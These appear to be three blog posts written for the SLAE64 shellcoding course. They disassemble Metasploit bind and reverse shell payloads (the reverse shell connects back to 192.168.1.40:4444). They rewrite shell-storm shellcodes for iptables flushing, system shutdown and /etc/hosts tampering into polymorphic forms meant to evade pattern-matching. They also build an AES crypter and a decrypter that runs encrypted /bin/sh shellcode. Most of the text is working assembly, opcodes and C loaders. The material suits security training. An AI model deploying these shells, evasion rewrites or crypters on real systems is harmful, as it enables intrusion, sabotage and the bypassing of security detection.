SLAE64 – Assignment #5 – Reverse Engineering Msfpayload Shellcodes

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #5

The aim of this assignment is to dissect functionnality of 3 payloads from Metasploit.

The tool msfpayload has been replaced by msfvenom.

So first, I just list all linux x64 payloads using msfvenom :

msfvenom -l payload | grep linux/x64
 linux/x64/exec Execute an arbitrary command
 linux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
 linux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
 linux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection
 linux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
 linux/x64/shell_bind_tcp Listen for a connection and spawn a command shell
 linux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
 linux/x64/shell_find_port Spawn a shell on an established connection
 linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

I’ve chosen to do the analysis of the following payloads :

  • linux/x64/shell_bind_tcp
  • linux/x64/shell_reverse_tcp
  • linux/x64/shell_bind_tcp_random_port

Analysis of linux/x64/shell_bind_tcp

First, I generate the payload  :

msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp -f elf > shell_bind_tcp
No encoder or badchars specified, outputting raw payload
Payload size: 86 bytes
Final size of elf file: 206 bytes

Then I’ve tested it :

On the target :
chmod +x shell_bind_tcp 
./shell_bind_tcp
On my computer :
nc <Target IP> 4444

In order to dissect the code, I first search entry point address from the binary :

readelf -a ./shell_bind_tcp 
ELF Header:
 Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
 Class: ELF64
 Data: 2's complement, little endian
 Version: 1 (current)
 OS/ABI: UNIX - System V
 ABI Version: 0
 Type: EXEC (Executable file)
 Machine: Advanced Micro Devices X86-64
 Version: 0x1
 Entry point address: 0x400078
 Start of program headers: 64 (bytes into file)
 Start of section headers: 0 (bytes into file)
 Flags: 0x0
 Size of this header: 64 (bytes)
 Size of program headers: 56 (bytes)
 Number of program headers: 1
 Size of section headers: 0 (bytes)
 Number of section headers: 0
 Section header string table index: 0

I then debug the code under gdb

gdb ./shell_bind_tcp
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 push 0x29 
 │0x40007a pop rax 
 │0x40007b cdq 
 │0x40007c push 0x2 
 │0x40007e pop rdi 
 │0x40007f push 0x1 
 │0x400081 pop rsi 
 │0x400082 syscall

sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Bind TCP socket on port 4444

>│0x400084 xchg rdi,rax 
 │0x400086 push rdx 
 │0x400087 mov DWORD PTR [rsp],0x5c110002 
 │0x40008e mov rsi,rsp 
 │0x400091 push 0x10 
 │0x400093 pop rdx 
 │0x400094 push 0x31 
 │0x400096 pop rax 
 │0x400097 syscall

sys_bind (rax = 49) int fd (rdi) struct sokaddr *umyaddr (rsi) int addrlen (rdx = 0x10)

where rsi points to stack with C structure :

struct sockaddr_in {
 uint8_t sin_len; /* total length */
 sa_family_t sin_family; /* family : AF_INET */
 in_port_t sin_port; /* port number */
 struct in_addr sin_addr; /* inet address */
 unsigned char sin_zero[8]; /* 8 zeros */
};

sin_addr = 0 (push rdx) = INADDR_ANY = any address for binding

>│0x400084 xchg rdi,rax 
 │0x400086 push rdx

sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444)
mov DWORD PTR [rsp],0x5c110002

sin_family = 2 = AF_INET
mov DWORD PTR [rsp],0x5c110002

sin_len = 0x10
push 0x10
pop rdx

3) Socket listen

│0x400099 push 0x32 
 │0x40009b pop rax 
 │0x40009c syscall

syscall sys_listen (rax = 50) int fd int backlog

4) Accept connection

│0x40009e xor rsi,rsi 
│0x4000a1 push 0x2b 
│0x4000a3 pop rax 
│0x4000a4 syscall

sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen

5) Duplicate socket (stdin, stout, stderr)
 
 >│0x4000a6 xchg rdi,rax 
 │0x4000a8 push 0x3 
 │0x4000aa pop rsi 
 │0x4000ab dec rsi 
 │0x4000ae push 0x21 
 │0x4000b0 pop rax 
 │0x4000b1 syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

6) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

0x4000b3 jne 0x4000ab 
 │0x4000b5 push 0x3b 
 │0x4000b7 pop rax 
 │0x4000b8 cdq 
 │0x4000b9 movabs rbx,0x68732f6e69622f 
 │0x4000c3 push rbx 
 │0x4000c4 mov rdi,rsp 
 │0x4000c7 push rdx 
 │0x4000c8 push rdi 
 │0x4000c9 mov rsi,rsp 
 │0x4000cc syscall

Analysis of linux/x64/shell_reverse_tcp

First, I generate the payload :

msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp -f elf > shell_reverse_tcp

Then I’ve tested it :

My computer :
nc -nlvp 4444
Target :
chmod +x shell_reverse_tcp 
./shell_reverse_tcp

Then in order to dissect the code, I debug it with gdb

gdb ./shell_reverse_tcp
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 push 0x29 
 │0x40007a pop rax 
 │0x40007b cdq 
 │0x40007c push 0x2 
 │0x40007e pop rdi 
 │0x40007f push 0x1 
 │0x400081 pop rsi 
 │0x400082 syscall

sys_socket (rax = 0x29) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Connect socket to port 4444 on localhost

│0x400084 xchg rdi,rax 
 │0x400086 movabs rcx,0x2801a8c05c110002 
 │0x400090 push rcx 
 │0x400091 mov rsi,rsp 
 │0x400094 push 0x10 
 │0x400096 pop rdx 
 │0x400097 push 0x2a 
 │0x400099 pop rax 
 │0x40009a syscall
 │0x400084 xchg rdi,rax

Keep socket stream fd

│0x400086 movabs rcx,0x2801a8c05c110002 
 │0x400090 push rcx 
 │0x400091 mov rsi,rsp

rsi points to stack with C structure :

struct sockaddr_in {
 uint8_t sin_len; /* total length */
 sa_family_t sin_family; /* family : AF_INET */
 in_port_t sin_port; /* port number */
 struct in_addr sin_addr; /* inet address */
 unsigned char sin_zero[8]; /* 8 zeros */
};
 
sin_family = 2 = AF_INET 
sin_port = 4444 (0x5c11 is the reverse byte order of 0x115c = 4444)
sin_addr = 2801a8c0 = 192.168.1.40 in reverse order

│0x400094 push 0x10 
│0x400096 pop rdx

Put addrlen on stack

│0x400097 push 0x2a 
 │0x400099 pop rax 
 │0x40009a syscall

sys_connect (rax = 0x2a) int fd (rdi = rax = socket stream) struct sockaddr *uservaddr (rsi) int addrlen (rdx = 0x10)

3) Duplicate socket (stdin, stout, stderr)

│0x40009c push 0x3 
 │0x40009e pop rsi 
 │0x40009f dec rsi 
 │0x4000a2 push 0x21 
 │0x4000a4 pop rax 
 │0x4000a5 syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

4) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

│0x4000a7 jne 0x40009f 
 │0x4000a9 push 0x3b 
 │0x4000ab pop rax 
 │0x4000ac cdq 
 │0x4000ad movabs rbx,0x68732f6e69622f 
 │0x4000b7 push rbx 
 │0x4000b8 mov rdi,rsp 
 │0x4000bb push rdx 
 │0x4000bc push rdi 
 │0x4000bd mov rsi,rsp 
 │0x4000c0 syscall

Analysis of linux/x64/shell_bind_tcp_random_port

First, I generate the payload :

msfvenom -a x64 --platform linux -p linux/x64/shell_bind_tcp_random_port -f elf > shell_bind_tcp_random_port

No encoder or badchars specified, outputting raw payload
Payload size: 57 bytes
Final size of elf file: 177 bytes

Then I’ve tested it :

Target :
chmod +x shell_bind_tcp_random_port 
./shell_bind_tcp_random_port
My computer :

Search port :
nmap -sS <Target> -p-

Connect to target :
nc <Target IP> <Port>

Then in order to dissect the code, I debug it with gdb :

gdb ./shell_bind_tcp_random_port
break *0x400078
set disassembly-flavor intel
run
layout asm
layout regs

Analysis :

1) Open a socket stream

B+>│0x400078 xor rsi,rsi 
 │0x40007b mul rsi 
 │0x40007e inc esi 
 │0x400080 push 0x2 
 │0x400082 pop rdi 
 │0x400083 mov al,0x29 
 │0x400085 syscall

sys_socket (rax = 41) int family (rdi = 0x02) int type (rsi = 0x01) int protocol (rdx = 0x00)

2) Socket listen

│0x400087 push rdx 
│0x400088 pop rsi 
│0x400089 push rax 
│0x40008a pop rdi 
│0x40008b mov al,0x32 
│0x40008d syscall

syscall sys_listen (rax = 50) int fd int backlog

Socket listen on random port

3) Accept connection

│0x40008f mov al,0x2b 
│0x400091 syscall

sys_accept (rax = 43) int fd struct sockaddr *upeer_sockaddr int *upeer_addrlen

Process is waiting connexion

4) Duplicate socket (stdin, stout, stderr)

│0x400093 push rdi 
│0x400094 pop rsi 
│0x400095 xchg rdi,rax 
│0x400097 dec esi 
│0x400099 mov al,0x21 
│0x40009b syscall

sys_dup2 (rax = 33) unsigned int oldfd unsigned int newfd

5) Shellcode part

Call to sys_execve (rax = 59) const char *filename const char *const argv[] const char *

Execute /bin/sh which is hs/nib/ in reverse byte order or 0x68732f6e69622f in hexa

│0x40009d jne 0x400097 
│0x40009f push rdx 
│0x4000a0 movabs rdi,0x68732f6e69622f2f 
│0x4000aa push rdi 
│0x4000ab push rsp 
│0x4000ac pop rdi 
│0x4000ad mov al,0x3b 
│0x4000af syscall

SLAE64 – Assignment #6 – Polymorphic versions of shellcodes from Shell-Storm

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #6

The aim of this assignment is to take 3 shellcodes from shell-storm.org and to create a polymorphic version of them (to beat pattern-matching).

I’ve chosen to rewrite the following shellcodes :

  • http://shell-storm.org/shellcode/files/shellcode-683.php
  • http://shell-storm.org/shellcode/files/shellcode-877.php
  • http://shell-storm.org/shellcode/files/shellcode-896.php

shellcode-683

Version 1

I’ve changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 49 bytes

Polymorphic version is smaller :  43 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-683-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x50\x66\x68\x2d\x46\x48\x89\xe1\xeb\x0b\x5f\x50\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 43 bytes
;
; nasm -f elf64 shellcode-683-polymorphic.nasm -o shellcode-683-polymorphic.o
; ld shellcode-683-polymorphic.o -o shellcode-683-polymorphic
; 
; Original shellcode :
;
; http://shell-storm.org/shellcode/files/shellcode-683.php
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
; Author: 10n1z3d <10n1z3d[at]w[dot]cn>
; Date: Fri 09 Jul 2010 03:26:12 PM EEST
     
section .text
global _start
         
_start:
    xor     rax, rax
    push    rax
    push    word 0x462d
    mov     rcx, rsp

jmp call_shellcode 
shellcode:
    pop rdi

    push    rax
    push    rcx
    push    rdi
    mov     rsi, rsp
         
    mov     al, 0x3b
    syscall

call_shellcode:
   call shellcode
   iptables: db '/sbin/iptables'

Version 2

Original size : 49 bytes

Polymorphic version is larger :  61 bytes but its size is < 150 % of the original size

I’ve replaced :

  • xor by mov and sub
  • push by mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
; 
; nasm -f elf64 shellcode-683-polymorphic2.nasm -o shellcode-683-polymorphic2.o
; ld shellcode-683-polymorphic2.o -o shellcode-683-polymorphic2
;
; Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
     
     
; Source Code (NASM):
     
section .text

global _start
         
_start:
;   xor     rax, rax
mov rbx, rax
sub rax, rbx 
        
push    rax

push    word 0x462d
mov     rcx, rsp
         
mov     rbx, 0x73656c626174ffff
shr     rbx, 0x10

;   push    rbx
mov qword [rsp - 8], rbx
sub rsp, 8
        
mov     rbx, 0x70692f6e6962732f
push    rbx

mov     rdi, rsp
         
push    rax
push    rcx
push    rdi

mov     rsi, rsp
         
; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
mov     al, 0x3b
syscall

 

shellcode-877

Version 1

I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 65 bytes

Polymorphic version is smaller : 60 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-877-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes
;
; nasm -f elf64 shellcode-877-polymorphic.nasm -o shellcode-877-polymorphic.o
; ld shellcode-877-polymorphic.o -o shellcode-877-polymorphic
;
; Original shellcode :
;
; http://shell-storm.org/shellcode/files/shellcode-877.php
;
; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

global _start

_start:

  xor rax, rax
  xor rdx, rdx 

  push rax
  push byte 0x77
  push word 0x6f6e ; now
  mov rbx, rsp

  push rax
  push word 0x682d ;-h
  mov rcx, rsp

  push rax

  jmp call_shellcode 
shellcode:
  pop rdi

  push rdx
  push rbx
  push rcx
  push rdi
  mov rsi, rsp

  add rax, 59
  syscall
call_shellcode:
  call shellcode
  shutdown: db '/sbin/shutdown'
/*
*
* Author : SLAE64-PA-6470 (kahlon81)
* Date : 2018/02/21
*
* Linux/x86-64 - shutdown -h now x86_64 Shellcode - 60 bytes
*
* for i in $(objdump -d shellcode-877-polymorphic.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
*
* gcc -fno-stack-protector -z execstack shellcode-877-polymorphic.c -o shellcode-877-poly
*
*/

#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\xeb\x0e\x5f\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\xe8\xed\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x73\x68\x75\x74\x64\x6f\x77\x6e";

main()
{

	printf("Shellcode Length:  %d\n", (int)strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Version 2

Original size : 65 bytes

Polymorphic version is larger :  87 bytes but its size is < 150 % of the original size

I’ve replaced :

  • xor by mov and sub
  • push with mov and sub
  • add dummy instructions (unused register)
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21

; nasm -f elf64 shellcode-877-polymorphic2.nasm -o shellcode-877-polymorphic2.o
; ld shellcode-877-polymorphic2.o -o shellcode-877-polymorphic2

; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Original Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

global _start

_start:

;xor rax, rax
mov rbx, rax
sub rax, rbx

xor rdx, rdx 

; dummy instruction
xor r9, r9
add r9b, 0x33

;push rax
mov qword [rsp - 8], rax
sub rsp, 8

push byte 0x77
push word 0x6f6e ; now
mov rbx, rsp

push rax
push word 0x682d ;-h
mov rcx, rsp

; dummy instruction
sub r9b, 0x12

push rax
mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown
mov r10, 0x6e776f6474756873
push r10
push r8
mov rdi, rsp

push rdx
push rbx
push rcx
push rdi
mov rsi, rsp

add rax, 59

syscall

shellcode-896

Version 1

I’ve also changed the original implementation by replacing the « stack » technique by the « jmp call pop » technique.

Original size : 110 bytes

Polymorphic version is smaller :  101 bytes

root@debian64:~/shellcodes/x64/pentesteracademy/Exam/Assignment#6# for i in $(objdump -d shellcode-896-polymorphic -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
\x48\x31\xc0\x48\x83\xc0\x02\x48\x31\xff\x48\x31\xf6\x56\xeb\x46\x5f\x48\x31\xf6\x66\x81\xc6\x01\x04\x0f\x05\x48\x97\x48\x31\xc0\x48\x83\xc0\x01\xeb\x18\x5e\xb2\x13\x0f\x05\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe3\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b\xe8\xb5\xff\xff\xff\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; Linux/x86-64 - Add map in /etc/hosts file - 102 bytes
;
; nasm -f elf64 shellcode-896-polymorphic.nasm -o shellcode-896-polymorphic.o
; ld shellcode-896-polymorphic.o -o shellcode-896-polymorphic
;
; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Author: Osanda Malith Jayathissa (@OsandaMalith)

global _start
    section .text

_start:
    ;open
    xor rax, rax 
    add rax, 2  ; open syscall
    xor rdi, rdi
    xor rsi, rsi
    push rsi ; 0x00 
    
    jmp call_shellcode 
shellcode:
    pop rdi

    xor rsi, rsi
    add si, 0x401
    syscall

    ;write
    xchg rax, rdi
    xor rax, rax
    add rax, 1 ; syscall for write
    jmp data

write:
    pop rsi 
    mov dl, 19 ; length in rdx
    syscall

    ;close
    xor rax, rax
    add rax, 3
    syscall

    ;exit
    xor rax, rax
    mov al, 60
    xor rdi, rdi
    syscall 

data:
    call write
    text db '127.1.1.1 google.lk'
call_shellcode:
    call shellcode
    hosts: db '/etc/hosts'

Here is a screenshot of this running shellcode :

Version 2

Original size : 110 bytes

Polymorphic version is larger :  144 bytes but its size is < 150 % of the original size

I’ve replaced :

  • mov rcx, 0x1f1f1f1f5364551f with MMX instructions
  • push r10 with mov and sub
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
; nasm -f elf64 shellcode-896-polymorphic2.nasm -o shellcode-896-polymorphic2.o
; ld shellcode-896-polymorphic2.o -o shellcode-896-polymorphic2

; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Original author: Osanda Malith Jayathissa (@OsandaMalith)

global _start
    section .text

_start:
    ;open
    xor rax, rax 
    add rax, 2  ; open syscall
    xor rdi, rdi
    xor rsi, rsi
    push rsi ; 0x00
 
    ;mov r8, 0x2f2f2f2f6374652f ; stsoh/
    mov rcx, 0x1f1f1f1f5364551f  
    movq mm0, rcx               
    mov rcx, 0x1010101010101010 
    movq mm1, rcx
    paddusb mm0, mm1            
    movq r8, mm0
    emms   

    mov r10, 0x7374736f682f2f2f ; /cte/

    ;push r10
    mov qword [rsp - 8], r10
    sub rsp, 8

    push r8
    add rdi, rsp
    xor rsi, rsi
    add si, 0x401
    syscall

    ;write
    xchg rax, rdi
    xor rax, rax
    add rax, 1 ; syscall for write
    jmp data

write:
    pop rsi 
    mov dl, 19 ; length in rdx
    syscall

    ;close
    xor rax, rax
    add rax, 3
    syscall

    ;exit
    xor rax, rax
    mov al, 60
    xor rdi, rdi
    syscall 

data:
    call write
    text db '127.1.1.1 google.lk'

SLAE64 – Assignment #7 – Custom Shellcode Crypter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #7

The aim of this assignment is to create a custom crypter for shellcodes.

Crypter

I’ve chose to use the AES encryption using mcrypt library (apt-get install libmcrypt-dev)

https://gist.github.com/bricef/2436364

1) First you need to dump the shellcode opcodes :

for i in $(objdump -d Execve-Stack |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

2) Then put these opcodes into the crypter code

unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

3) Then, compile crypter (don’t forget the -lmcrypt option) :

gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter

4) Finally, encrypt the shellcode using a symetric key and get the encrypted shellcode

./aes-shellcode-crypter "0123456789abcdef"

Decrypter

1) Put the encrypted opcodes into the decrypter :

unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";

2) Compile the decrypter

gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter

3) Decrypt and run the shellcode by using the same symetric key :

./aes-shellcode-decrypter "0123456789abcdef"

Full source code is available here and on my Github account.

aes-shellcode-crypter.c

/*
 * Compile : gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter
 *
 * Author : SLAE64-PA-6470 (kahlon81)
 * Date : 2018/02/21
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

int decrypt(
    void* buffer,
    int buffer_len,
    char* IV, 
    char* key,
    int key_len 
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

void display_hex(char* cipher, int len) {
  int v;
  for (v=0; v<len; v++)
    //printf("\\x%2hhX", cipher[v]);
    printf("\\x%02x", cipher[v] & 0xff);
  printf("\n");
}

int main(int argc, char **argv)
{
  MCRYPT td, td2;
  unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
  unsigned char *plaintext = shellcode;
  char* IV = "AAAAAAAAAAAAAAAA";
  char* buffer;
  int buffer_len = strlen(plaintext);

  // check param
  if (argc != 2) {
    printf("Usage : ./aes-shellcode-crypter <128 bits encryption key>\n");
    printf("Example : ./aes-shellcode-crypter 0123456789abcdef\n");
    exit(-1);
  }

  // input key
  char *key = (char *)argv[1];
  int keysize = strlen(key);

  buffer = calloc(1, buffer_len);
  strncpy(buffer, plaintext, buffer_len);

  printf("plain size=%d:\n", strlen(plaintext));
  display_hex(plaintext, strlen(plaintext));

  encrypt(buffer, buffer_len, IV, key, keysize); 

  printf("cipher size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  decrypt(buffer, buffer_len, IV, key, keysize);

  printf("decrypt size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  return 0;
}

aes-shellcode-decrypter.c

/*
 * Compile : gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter
 *
 * Author : SLAE64-PA-6470 (kahlon81)
 * Date : 2018/02/21
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

int decrypt(
    void* buffer,
    int buffer_len,
    char* IV, 
    char* key,
    int key_len 
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

void display_hex(char* cipher, int len) {
  int v;
  for (v=0; v<len; v++)
    //printf("\\x%2hhX", cipher[v]);
    printf("\\x%02x", cipher[v] & 0xff);
  printf("\n");
}

int main(int argc, char **argv)
{
  MCRYPT td, td2;
  unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";
  unsigned char *encrypted = encrypted_shellcode;
  char* IV = "AAAAAAAAAAAAAAAA";
  char* buffer;
  int buffer_len = strlen(encrypted);
  int (*sc)();

  // check param
  if (argc != 2) {
    printf("Usage : ./aes-shellcode-decrypter <128 bits encryption key>\n");
    printf("Example : ./aes-shellcode-decrypter 0123456789abcdef\n");
    exit(-1);
  }

  // input key
  char *key = (char *)argv[1];
  int keysize = strlen(key);

  printf("encrypt size=%d:\n", strlen(encrypted));
  display_hex(encrypted, strlen(encrypted));

  buffer = calloc(1, buffer_len);
  strncpy(buffer, encrypted, buffer_len);

  decrypt(buffer, buffer_len, IV, key, keysize);

  printf("decrypt size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  sc = (int(*)())buffer;
  sc();

  return 0;
}